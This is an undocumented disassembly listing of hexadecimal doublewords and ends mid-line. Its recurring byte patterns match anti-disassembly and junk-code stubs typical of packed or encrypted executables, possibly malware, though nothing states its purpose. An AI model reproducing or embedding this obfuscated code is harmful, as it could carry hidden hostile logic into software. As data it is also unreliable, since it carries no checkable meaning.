0D9BD8BA1h, 0FF05E707h, 0EAA350B5h, 52006A05h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 511AFB11h, 8EEB87F3h, 9D13EF81h, 9D89636Bh, 5E708BDh dd 2D6995FFh, 6A05E7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 8BAECEC3h, 0E70A99BDh, 53D38105h dd 8B423F74h, 0EAA344B5h, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 43BFFF20h dd 8970D7A7h, 0E71649B5h, 106C705h, 0F9000100h, 0BB665396h dd 505B8CF6h, 10E8BB50h, 965F7CC1h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 0AEC35646h, 33E747BEh, 0E72C4DBDh dd 65858905h, 0FF05E715h, 0EAA350B5h, 0B9BD8B05h, 5305E730h dd 5FDAB70Fh, 247D95FFh, 0BD8905E7h, 5E7228Dh, 0A344B58Bh dd 6A05EAh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 0DDB934C3h, 11E19036h, 0C5958907h, 8B05E700h dd 0E703CD85h, 53006A05h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1704h, 0C3534300h, 41F204D7h, 0C48689h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 8044A4C3h, 12C2CE9h, 15958B2Eh, 8905E723h, 0E726B195h dd 4C28305h, 959D3150h, 5B05E705h, 508960B3h, 57006A20h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 8850F31h, 57000000h, 800Fh, 8D5F0000h, 0EAB73285h, 51006A05h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 7F33FEBDh, 0B0BBE381h, 86890C25h, 0B8h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 1BC35343h, 7B5C14FBh dd 0FE0BA0F1h, 859D8B71h, 8B05E712h, 0E70D899Dh, 41BD3305h dd 6A05E72Dh, 85096000h, 5E72545h, 13E8h, 12D7EB00h, 6846DB38h dd 552200E0h, 61C90A0Dh, 0DC71413Eh, 1611BD89h, 615B05E7h dd 0A350B5FFh, 8F0F05EAh, 0 dd offset loc_4195FA+5 dd 0BD8B05E7h, 5E71F79h, 4A3EBB66h, 0F9965096h, 0A350B5FFh dd 6A05EAh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 8BA09EC3h, 0E70301BDh, 1B58905h, 0F05E704h dd 95FFFABFh, 5E72A09h, 29BD9D2Bh, 0BD8305E7h, 5E704F9h dd 44840F00h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 366C357h, 9B8ACE71h dd 0F5B5060h, 6696F8B7h, 50E80EBFh, 1D91BB66h, 0DE996h dd 0E4450000h, 4CD568C1h, 0DDD55BECh, 0FF7FF73Ah, 0EAA350B5h dd 0CE905h, 7B3F0000h, 87878F4Ah, 6E8093CFh, 95FF5AC0h dd 5E7071Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ah, 0EEC35545h, 0B9EE6D5Ah, 9D8B3847h, 5E72251h, 75D9D8Bh dd 0B5FF05E7h, 5EAA350h, 4E5B589h, 95FF05E7h, 5E70CC5h dd 98D9D31h, 0BF6605E7h, 0BD83E145h, 5E725CDh, 68840F02h dd 52000000h, 1B51BD8Bh, 8B5B05E7h, 0E7065185h, 55006A05h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 0CB608250h, 810F4A74h, 3, 0C6D8B70Fh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 8F10EDC3h, 89DB116Dh, 0E70F3D85h, 0BD9D2305h, 0C705E704h dd 0E70DFD85h, 5, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1604h, 0C3524200h, 0E94ED00Ch, 0FFFFF3A1h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0D5C35242h dd 0A59258BFh, 9D9D3156h, 8B05E701h, 56006AC1h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 290C794Dh dd 0BF0F240Eh, 8DFE8ADBh, 0E71AF985h, 57006A05h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 4B88BB06h, 0BD8B7E8Fh, 5E71641h, 6E850h, 0BF2E0000h dd 0CA07AA76h, 14E9h, 0F3B09300h, 4D50CAB4h, 0C6594270h dd 0ACD5487Dh, 0D613734Bh, 4895BF9h, 50006A24h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 4839585Bh dd 0BCEB8166h, 595291Eh, 0F05E700h, 68Eh, 7DB58900h, 6A05E726h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 7866BC5h, 0A50F6F16h, 4850F51h, 66000000h dd 5F55F3BFh, 0BE8006Ah, 31000000h, 4D932A03h, 0AB548F81h dd 0BD89F77Ch, 5E716A9h, 0CF858D5Bh, 2905EBC7h, 0E71609B5h dd 5C08305h, 5F8FC381h, 0BF506FACh, 60875F73h, 0E8240489h dd 0Ch, 9A328D82h, 271CA8B1h, 3F64ED11h, 2BC9B589h, 6A5F05E7h dd 6E900h, 0A5540000h, 3B8141EEh, 8B66006Ah, 0C595FFFBh dd 6605E702h, 8D3A24BFh, 0EA95148Dh, 0F9BF0F05h, 6AD1FFh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 21D88AC3h, 8321D116h, 0E707F1BDh, 850F0105h, 68h, 29E18529h dd 26A05E7h, 0FCC38166h, 0F52908Fh, 285h, 5B5B5600h, 0E8BF6650h dd 6A9098h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 9DADE8C3h, 4195FFF9h, 6A05E700h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 0ADDBC356h, 0F73CC4BEh, 0C13DBF66h, 0DC8E9h, 0E800h dd 815D0000h, 0EBC7D9EDh, 56006A05h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 185A0B5Ch dd 0F8EC807h, 6AFBB7h, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 8D423CC3h, 0EA8F5B85h, 53006A05h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 8D3374D2h, 4B4B64B9h, 0BE8CDE0h, 0B2000000h, 33346BC3h dd 0D95CD2CDh, 8166827Ah, 5F9002CBh, 14E850h, 78030000h dd 50E32E5Dh, 0F307194Ch, 5EBDA5FDh, 2A9F8DF1h, 0ECB74517h dd 2404895Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 5AC35242h, 35FF64h, 89000000h, 0E72BC9B5h, 25896405h dd 0 dd 2F89BD8Bh, 85FF05E7h, 5E71CE1h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 15h, 71C35747h, 13E884h, 0C2DE0000h dd 0A3D62D55h, 54EDC163h, 66371131h, 0A8984318h, 499D89CDh dd 5F05E722h, 9D8BFF6Ah, 5E70ED1h, 2CC5B5FFh, 95FF05E7h dd 5E729C1h, 11CE9h, 95D78100h, 0B078B64Fh, 6880F00h, 89000000h dd 0E716E98Dh, 8070E605h, 71E447EFh, 68DBD89h, 613C05E7h dd 0F3830Fh, 0BD8B0000h, 5E72D75h, 0FC8B60Fh, 9D8BDBB7h dd 5E70441h, 6BAh, 10E95600h, 4B000000h, 2727C2F0h, 0C0D932F2h dd 25C20E5Fh, 5F78DB1Ah, 0BD89C18Bh, 5E72675h, 8904E8C1h dd 0E71B319Dh, 0E2F76605h, 0FE8h, 23921B00h, 0CF4608C9h dd 0CEBCACD8h, 0B1141E2Fh, 22BD9589h, 895B05E7h, 0E71C31BDh dd 8BC82B05h, 299D8BD1h, 0E905E71Ch, 81h, 1858Bh, 83F90000h dd 958907C0h, 5E721A5h, 3B00C083h, 24830FD0h, 2B000000h dd 0E7153D9Dh, 5BE905h, 85890000h, 5E7230Dh, 0EE9h, 0E1BDC600h dd 5BB830B4h, 24273911h, 8B684C11h, 0FFFFFF8Dh, 8E8FFh dd 0A3690000h, 8F5385Ch, 8B664D22h, 0BD335BFEh, 5E70ED9h dd 0F01E183h, 1C84h, 0F8BF0F00h, 0FFFFA583h, 0BBFEFFFFh dd 31D7B5B9h, 19589h, 0DA8B0000h, 0E9h, 8BB58D00h, 6A05EB44h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 6683C355h, 29ED45BFh, 0E7262995h, 89006A05h dd 0E702759Dh, 1D95FF05h, 6A05E71Ah, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0EE28C353h dd 1EC9D18Eh, 0FE953h, 0B6CB0000h, 9BD1D015h, 3F5F7721h dd 343FDAA3h, 17B35F97h, 0F31B9h, 0ACF8000h, 89FCE183h dd 0E72699B5h, 9D89FC05h, 5E72305h, 0B8h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 0CD410219h, 0D22B3D88h, 0CE9h, 1A386B00h, 0C8BE4970h dd 11B0416Fh, 0C233ADA0h, 0D003E8D1h, 7504E983h, 6E9F4h dd 664B0000h, 0F983054h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h, 63C35242h, 0D6A17694h, 28F0Fh, 7AB30000h dd 941B529h, 880D05E7h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 657FC356h dd 3F70009Eh, 20C7804Ah, 2315958Bh, 6A05E7h, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 0AA9138C3h dd 0E850Fh, 9E90000h, 1D000000h, 0AFF9EF59h, 5F096A80h dd 8B98D8Bh, 6A05E7h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 0E4B768C3h, 0E59D8B52h, 5B05E72Eh dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h, 9D895818h dd 5E72E09h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 0CAC35747h, 1DB7470Eh, 75CCF381h, 0BD83320Ah, 5E7211Dh dd 79840F00h, 8B000000h, 0E72E51BDh, 81EF8105h, 0B80ECD4Fh dd 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 11C35646h dd 54E1DD72h, 8D8DF795h, 5E74DFAh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 33C35646h, 990E447Ah, 0F88B6613h dd 8E9E1FFh, 0C7000000h, 5927DC0h, 60CB095Eh, 569797BBh dd 0D99D8B2Fh, 6105E715h, 0C99BD83h, 0F0005E7h, 43C84h dd 8F0F00h, 83000000h, 0E70C99BDh, 840F0105h, 444h, 13E9h dd 0CE30FA00h, 0C74CF61Bh, 80692EC3h, 0AEC4A064h, 0D869961Bh dd 0C99BD83h, 0F0305E7h, 3E986h, 0BD896000h, 5E70D29h dd 15B18D8Bh, 606105E7h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 18h, 13C35141h, 34AC908Bh, 12F19509h, 8C6605E7h dd 53006AD9h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 6982BBB0h, 0E180DA8Bh, 7E904h, 0D80A0000h dd 51C3E0A1h, 0FC90A7Ah, 0F584h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 8B07072Dh dd 0E7072D85h, 28B0F05h, 8B000000h, 33DE8BDAh, 0E72E8185h dd 90D98B05h, 8A5063B7h, 6A90DDh, 3E850h, 58200000h, 448958C3h dd 44810424h, 150424h, 50400000h, 804D3AC3h, 6A24F7h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 4BC35141h, 15A2C39Bh dd 8EC7D1E4h, 14E8h, 0F0538600h, 8A76DF5Ah, 0C2DB3453h dd 35B36630h, 0A777F967h, 0F6685BB3h, 8A04BE1Dh, 243481DEh dd 4A11E09h, 20E595FFh, 9E905E7h, 6F000000h, 738149FDh dd 4D5212E1h, 0A3508589h, 6A05EAh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 0BA35ACC3h, 21BD89CDh dd 0E905E708h, 1FEh, 76B9F781h, 858B0429h, 5EAA348h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0A8C35646h, 84C22737h dd 0ABC5A7A9h, 0CDF38166h, 1800C73Bh, 8B000000h, 0E71A25BDh dd 4CB58B05h, 8B05EAA3h, 0E7008185h, 53006A05h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 8D84663Bh dd 0B5294474h, 5E70D49h, 8BF90689h, 0E7072D85h, 55006A05h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 9D8B87BFh, 5E700A9h, 9CC38166h, 4468938h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0E7C35242h, 0B754DF48h dd 50F98B84h, 0F525060h, 5AFCB531h, 34896158h, 51006A24h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 5A37651Eh, 51FB46ACh, 0DD9D8BE2h, 0FF05E712h, 0EAA348B5h dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 602E66F5h, 9AD18160h, 813FDA39h, 344386C3h dd 0D9806148h, 0E36861B5h, 0E943588Dh, 5, 0E384ACC0h, 243481E6h dd 43478E1Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 0EFC35747h, 8B8DA54Dh, 0E708F19Dh, 50858D05h, 6A05EAA3h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 8B1EC350h, 0E715799Dh, 0E8509005h, 7, 59F343E1h dd 56BAAE75h, 5FDA8B66h, 6A905Bh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1C0424h, 52420000h, 8F6AD6C3h, 0D1B7DBA7h dd 95FF6A50h, 5E720E5h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 0BBC35646h, 3319589h, 6A6105E7h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 6EECC357h, 6890Fh, 0BD8B0000h, 5E70AEDh, 0C9985C7h dd 305E7h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 6467AAC3h, 0A350BD83h, 0F0005EAh dd 2D84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1C04h, 0C3514100h, 1A9F7D47h, 9B4A9FEDh, 1FE920h, 0BB660000h dd 305034CEh, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h dd 8B00EBE7h, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1804h, 0C3564600h, 7D7EBD85h, 890FF0h, 89000000h, 0E7083DB5h dd 99BD8305h, 305E70Ch, 445850Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 180424h, 56460000h, 949E91C3h dd 0D380DF03h, 50BD83ECh, 5EAA3h, 415840Fh, 0C7810000h dd 7088297Ch, 0A350B5FFh, 6A05EAh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 0C9DCEC3h, 95898C8Dh dd 5E70CDDh, 2D6995FFh, 6A05E7h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 0B58BF4C3h, 5EAA344h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 76C35545h dd 0F4D0448h, 684h, 0D99D0300h, 0E905E706h, 0Ch, 94D76D4Dh dd 0FE7CE4EAh, 43BA0BFCh, 106C7h, 6A0001h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0D5DC64C3h dd 0E81A00A8h, 0BB663317h, 0B79675F3h, 66965005h, 0FF30F4BBh dd 0EAA350B5h, 0FFFB8B05h, 0E7247D95h, 56006A05h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 8A440664h, 0D017DA9h, 0A5BD8B7Eh, 8B05E70Eh, 0EAA344B5h dd 51006A05h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 0B870F7Ch, 0F000000h, 58Ch, 3208BF00h, 858B6078h dd 5E703CDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 1DC35141h, 61C8D036h, 0E859070Fh, 8, 4995EE71h dd 0ADCA6BE9h, 15CD8D31h, 895F05E7h, 0C486h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 0BBED7EADh, 991BD8Bh, 958B05E7h, 5E72315h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 99C35343h, 0FE8BC3ABh dd 6A04C283h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 0C90AC350h, 5089F98Ah, 57006A20h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 0C0662F06h, 0A9359522h, 8DF98B66h, 0EAB73285h, 0ED958905h dd 8905E708h, 0B886h, 3D9D8B00h, 6A05E71Bh, 0EE900h, 0DDB10000h dd 0DE8E253Eh, 0FB623912h, 6712B7Dh, 0A350B5FFh, 0E96005EAh dd 9, 0B9108712h, 1F534381h, 0DD9D8943h, 6105E713h, 4195FFh dd 6A05E7h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 10E8C6C3h, 3D000000h, 0B39A6442h, 0F7A934A9h dd 7CB6D0A4h, 0F802F50h, 686h, 5DBD8B00h, 5F05E712h, 2B359D89h dd 0DB8105E7h, 2A03377h, 0EE950h dd 0D7D60000h, 6F989057h, 93721791h, 0F904B455h, 6A243489h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 0FFC5C355h, 5A3E387Fh, 0B5FF485Dh, 5EAA350h dd 4099D89h, 95FF05E7h, 5E72A09h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 15h, 29C35747h, 0F9BD83D9h, 5E704h dd 5E840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 567200C3h, 0E9968D4Bh, 0Ch, 82511B3Fh dd 5696D17h, 4F0898A3h, 2A04BB50h, 6A96105Dh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 0D6DCC356h, 0CD7D3D5Ch, 0FDFC786Ch, 0A350B5FFh, 96005EAh dd 0E705E9B5h, 0D9958905h, 6105E729h, 71D95FFh, 0B5FF05E7h dd 5EAA350h, 2DC99589h, 0B70F05E7h, 0C595FFDEh, 6605E70Ch dd 0BD83D88Bh, 5E725CDh, 29840F02h, 0E9000000h, 9, 60143F7Ah dd 4136CC6Dh, 51858BB9h, 905E706h, 0E725A585h, 0C605h dd 0E15BD8Bh, 0BD0905E7h, 5E70D45h, 0DFD85C7h, 5E7h, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 0E0A447C3h, 0D0B7A4ACh, 0E9C7B703h, 0FFFFF36Ch, 2B1DBD0Bh dd 0C18B05E7h, 0D8EF8166h, 0F9858DFFh, 0F805E71Ah, 0CE990h dd 65060000h, 72B1646Fh, 7EFBF5BDh, 8B503313h, 6A90DAh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 0CDD457C3h, 0F88B665Dh, 6A006Ah, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 6ABFC3h, 25958D89h dd 858D05E7h, 5EBD78Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 15h, 0A5C35343h, 5C083FFh, 0C0D5DF81h, 9D89574Fh dd 5E7324Dh, 7860F50h, 53000000h, 0CFFB7FBBh, 4895B3Fh dd 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 20A19832h, 1CB91509h, 6AD9BF0Fh, 6AF500h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0CC35242h dd 0F97A667h, 28Fh, 0FF71B300h, 0E702C595h, 52006A05h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 0CFA4840Fh, 0ADB529D6h, 8D05E708h, 0EA95148Dh, 57006A05h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 7EA77C7Bh, 66DAB70Fh, 0FDF4EB81h, 5E8D1FFh, 63000000h dd 91AC1B0Ch, 0FD1456BBh, 0BD835B50h, 5E707F1h, 7F850F01h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 891CC355h, 0E70AB9BDh, 6A026A05h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 0A696C351h, 0FE8B66D0h, 24048950h, 12E9BD8Bh dd 95FF05E7h, 5E70041h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 0DDC35646h, 0ABA71F97h, 4D91E5C1h, 25C99509h dd 3E905E7h, 0E800000Dh, 0 dd 97ED815Dh, 6A05EBD7h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 0ED56C357h, 8B7B9223h dd 55006AD8h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h dd 0C3554500h, 73EEE72Dh, 5114A144h, 0FD9BC781h, 8D5F1414h dd 0EA8F5B85h, 0C5B58905h, 9005E727h, 2810Fh, 67B30000h dd 8E950h, 705A0000h, 195DC509h, 0F902056h, 0FF64FFB7h dd 35h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1804h, 0C3574700h, 0A9D3EE87h, 25896414h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 7C35646h dd 0BAEAAA3Bh, 0EE9CA00Ch, 0FFDA8B1Ah, 0E71CE185h, 0E0BF6605h dd 33FF6AD0h, 0E72F49BDh, 35B5FF05h, 8905E72Dh, 0E704398Dh dd 61BD0B05h, 0FF05E712h, 0E729C195h, 121E905h, 0BF0F0000h dd 6600B0FFh, 0B509DF8Bh, 5E70011h, 8D2970E6h, 5E71231h dd 613C71E4h, 101830Fh, 870F0000h, 6, 830Fh, 0BD2B0000h dd 5E72E99h, 66C8B60Fh, 0BAFA84BBh, 6, 0BD29C18Bh, 5E7263Dh dd 104E8C1h, 0E709A985h, 0A7D78105h, 66719034h, 9589E2F7h dd 5E71B99h, 8166C82Bh, 8B5642CFh, 6D9D89D1h, 0E905E72Fh dd 0AFh, 14E9h, 8A4FA600h, 0DA6F7B42h, 4C785CE3h, 0EC69881h dd 0D286FC0Bh, 4858B07h, 8B000000h, 0E7032D9Dh, 7C08305h dd 27C59D23h, 0C08305E7h, 0BD858900h, 3B05E702h, 24830FD0h dd 0F000000h, 1080h, 0BE900h, 0FD4B0000h, 34F6D38Dh, 5B9C1B5Ch dd 459D09A5h, 0E905E703h, 4Fh, 8BFE8B66h, 0FFFFFF8Dh, 18B0FFFh dd 0FC000000h, 0F01E183h, 3684h, 870F5200h, 14h, 0FE9h dd 2FAA6E00h, 0BCF3387Ah, 8AF10547h, 7F76BAF4h, 0FFA5835Bh dd 0FEFFFFFFh, 95893AB7h, 4, 231BD8Bh, 0E905E7h, 8D000000h dd 0EB53BCB5h, 39E78105h, 6A66E825h, 14E900h, 2B720000h dd 4D8E92DCh, 618C5F4Eh, 52D72BABh, 86BBA400h, 9D8B47D7h dd 5E70B05h, 1A1D95FFh, 896005E7h, 0E7005DB5h, 1958B05h dd 6105E703h, 0FF8B9h, 49C9BF00h, 0E18350ACh, 55006AFCh dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 0FE8B6628h, 123DB529h, 6AFC05E7h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0FD2AC351h dd 0CA4B8516h, 84546A8Dh, 5840Fh, 9BB0000h, 0B816B7EBh dd 0 dd 0DF59D89h, 0D22B05E7h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 32C35646h, 0B8B8F71Dh, 68A0Fh, 8D290000h dd 5E70479h, 2E999D8Bh, 33AD05E7h, 3E8D1C2h, 4E983D0h dd 9D89F475h, 5E72571h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 87C35747h, 14A9D3EEh, 0CE8583Ah, 0DA000000h dd 4FEDCAABh, 84C3E5CBh, 0F353B08h, 58Fh, 0C7816600h, 0D5B51B5h dd 88h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h dd 82C35242h, 3E6804BBh, 15958B50h, 5605E723h, 0AE9h, 0F7EBFE00h dd 9772F3C6h, 5B07366Ah, 8B98D8Bh, 9D8B05E7h, 5E732C9h dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 0D8611BC3h, 0A590FA3Eh, 0E9F0EE12h, 0Dh, 0D95B4097h dd 0E56423FFh, 9CE86986h, 7E996h, 0C11E0000h, 0E0B1C2E2h dd 0A258BFF3h, 0BD8343E5h, 5E7211Dh, 0A8840F00h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 0D381C351h, 1FA6DF0Ah, 0B8F3BCh, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 0CE8CC356h, 0CE9FFh, 56420000h, 4615F4DBh dd 5B376C72h, 8D8D5636h, 5E74DFAh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 0FC35040h, 259342B2h, 0A5C28E41h dd 31898529h, 0E1FF05E7h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 17h, 1C35242h, 834C2711h, 0E70C99BDh, 840F0005h dd 3A3h, 9A5B529h, 0BD8305E7h, 5E70C99h, 0AB840F01h, 6A000003h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 60EBC357h, 0B8F28B66h, 5BA05B8h, 499D2961h dd 8305E713h, 0E70C99BDh, 860F0305h, 33Ch, 518D8B60h, 8105E732h dd 0AF8750C0h, 0BF0F616Dh, 0FE960FFh, 0BA000000h, 34DDD72Ch dd 573D7E7Dh, 2BAC35D6h, 8C66C786h, 0FA8B66D9h, 8904E180h dd 0E71B6D95h, 0FC90A05h, 13A84h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 8BEF0785h dd 0E7072D85h, 55006A05h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 397F0661h, 3311C380h dd 0E72E8185h, 758D2905h, 5005E703h, 0DBB86660h, 4896104h dd 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h dd 0C3524200h, 886F599Dh, 0BF9E6ACFh, 0E38146E6h, 712394B9h dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 449EC1C3h, 3A51C3BBh, 4E85Dh, 3FF0000h, 0BB50001Fh dd 7BFB1AFEh, 424448Bh, 0E960008Bh, 10h, 6B2B7F68h, 9F4766FCh dd 759DE164h, 0B05410Ah, 14E9h, 0FFD3E400h, 8057077Dh dd 6E05E202h, 0FCC26F33h, 6B0F156Fh, 44896180h, 0F88A0424h dd 52006A58h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 0B98D8914h, 0FF05E72Eh, 0E720E595h, 5BF55205h dd 0A3508589h, 8B6605EAh, 17FE9FBh, 0EF810000h, 1C085BA1h dd 8BFFBF0Fh, 0EAA34885h, 55006A05h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0C19D0BCBh dd 0C705E70Ch, 1800h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1704h, 0C3534300h, 9793F4A9h, 21959D8Bh dd 9D8905E7h, 5E7016Dh, 0A34CB58Bh, 858B05EAh, 5E70081h dd 8B0689F8h, 0E70B89BDh, 2D858B05h, 0E805E707h, 13h, 0E75DB30Eh dd 1528929Eh, 0EF60C652h, 2A680066h, 8915B84Ah, 0E708C185h dd 46895F05h, 859D8B04h, 0BB05E726h, 2B55BFFDh, 65C5BB50h dd 34890937h, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 0FF9A9049h, 0EAA348B5h, 8D896005h dd 5E7085Dh, 6151D980h, 1C419D29h, 